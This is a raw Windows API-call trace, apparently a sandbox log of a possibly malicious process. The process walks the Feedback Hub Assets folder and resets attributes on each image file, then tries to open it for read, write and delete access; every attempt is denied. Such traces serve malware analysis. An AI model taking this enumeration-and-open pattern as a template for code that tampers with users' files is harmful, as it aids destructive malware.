	[0090.170] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501fa34b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501fa34b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501fa34b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-16.png", cAlternateFileName="")) returned 1
	[0090.170] wcscmp (_String1="InsiderHubAppList.targetsize-16.png", _String2=".") returned 1
	[0090.170] wcscmp (_String1="InsiderHubAppList.targetsize-16.png", _String2="..") returned 1
	[0090.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x4732810
	[0090.170] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.170] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.171] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16.png"
	[0090.171] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16.png")) returned 0x20
	[0090.173] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.173] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.174] GetLastError () returned 0x5
	[0090.174] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0090.174] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.174] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501fa34b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501fa34b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501fa34b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-16_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.174] wcscmp (_String1="InsiderHubAppList.targetsize-16_altform-unplated.png", _String2=".") returned 1
	[0090.174] wcscmp (_String1="InsiderHubAppList.targetsize-16_altform-unplated.png", _String2="..") returned 1
	[0090.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebcee0
	[0090.174] wcscpy (in: _Dest=0x4ebcee0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.174] wcscat (in: _Dest=0x4ebcee0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.174] wcscat (in: _Dest=0x4ebcee0, _Source="InsiderHubAppList.targetsize-16_altform-unplated.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated.png"
	[0090.174] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_altform-unplated.png")) returned 0x20
	[0090.174] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.174] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.174] GetLastError () returned 0x5
	[0090.174] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated.png", dwFileAttributes=0x20) returned 0
	[0090.174] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebcee0) returned 1
	[0090.174] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.174] wcscmp (_String1="InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png", _String2=".") returned 1
	[0090.174] wcscmp (_String1="InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png", _String2="..") returned 1
	[0090.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x4732810
	[0090.175] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.175] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.175] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png"
	[0090.175] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_altform-unplated_contrast-black.png")) returned 0x20
	[0090.175] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.175] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.175] GetLastError () returned 0x5
	[0090.175] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.175] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.175] wcscmp (_String1="InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png", _String2=".") returned 1
	[0090.175] wcscmp (_String1="InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png", _String2="..") returned 1
	[0090.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14e) returned 0x4732810
	[0090.175] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.175] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.175] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png"
	[0090.175] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_altform-unplated_contrast-white.png")) returned 0x20
	[0090.175] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.176] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.176] GetLastError () returned 0x5
	[0090.176] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_altform-unplated_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.176] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-16_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.176] wcscmp (_String1="InsiderHubAppList.targetsize-16_contrast-black.png", _String2=".") returned 1
	[0090.176] wcscmp (_String1="InsiderHubAppList.targetsize-16_contrast-black.png", _String2="..") returned 1
	[0090.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc178
	[0090.176] wcscpy (in: _Dest=0x4ebc178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.176] wcscat (in: _Dest=0x4ebc178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.176] wcscat (in: _Dest=0x4ebc178, _Source="InsiderHubAppList.targetsize-16_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-black.png"
	[0090.176] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_contrast-black.png")) returned 0x20
	[0090.176] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.176] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.176] GetLastError () returned 0x5
	[0090.176] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc178) returned 1
	[0090.177] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-16_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.177] wcscmp (_String1="InsiderHubAppList.targetsize-16_contrast-white.png", _String2=".") returned 1
	[0090.177] wcscmp (_String1="InsiderHubAppList.targetsize-16_contrast-white.png", _String2="..") returned 1
	[0090.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12c) returned 0x4ebc3e8
	[0090.177] wcscpy (in: _Dest=0x4ebc3e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.177] wcscat (in: _Dest=0x4ebc3e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.177] wcscat (in: _Dest=0x4ebc3e8, _Source="InsiderHubAppList.targetsize-16_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-white.png"
	[0090.177] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_contrast-white.png")) returned 0x20
	[0090.177] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.177] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-16_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.177] GetLastError () returned 0x5
	[0090.177] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-16_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc3e8) returned 1
	[0090.177] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-20.png", cAlternateFileName="")) returned 1
	[0090.177] wcscmp (_String1="InsiderHubAppList.targetsize-20.png", _String2=".") returned 1
	[0090.177] wcscmp (_String1="InsiderHubAppList.targetsize-20.png", _String2="..") returned 1
	[0090.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10e) returned 0x4732810
	[0090.177] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.177] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.177] wcscat (in: _Dest=0x4732810, _Source="InsiderHubAppList.targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20.png"
	[0090.178] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20.png")) returned 0x20
	[0090.179] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.179] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\insiderhubapplist.targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.179] GetLastError () returned 0x5
	[0090.179] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\InsiderHubAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0090.179] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.180] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50223d89, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50223d89, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50223d89, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubAppList.targetsize-20_altform-unplated.png", cAlternateFileName="")) returned 1
	[0090.180] wcscmp (_String1="InsiderHubAppList.targetsize-20_altform-unplated.png", _String2=".") returned 1
	[0090.180] wcscmp (_String1="InsiderHubAppList.targetsize-20_altform-unplated.png", _String2="..") returned 1
	[0090.180] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x130) returned 0x4ebc520
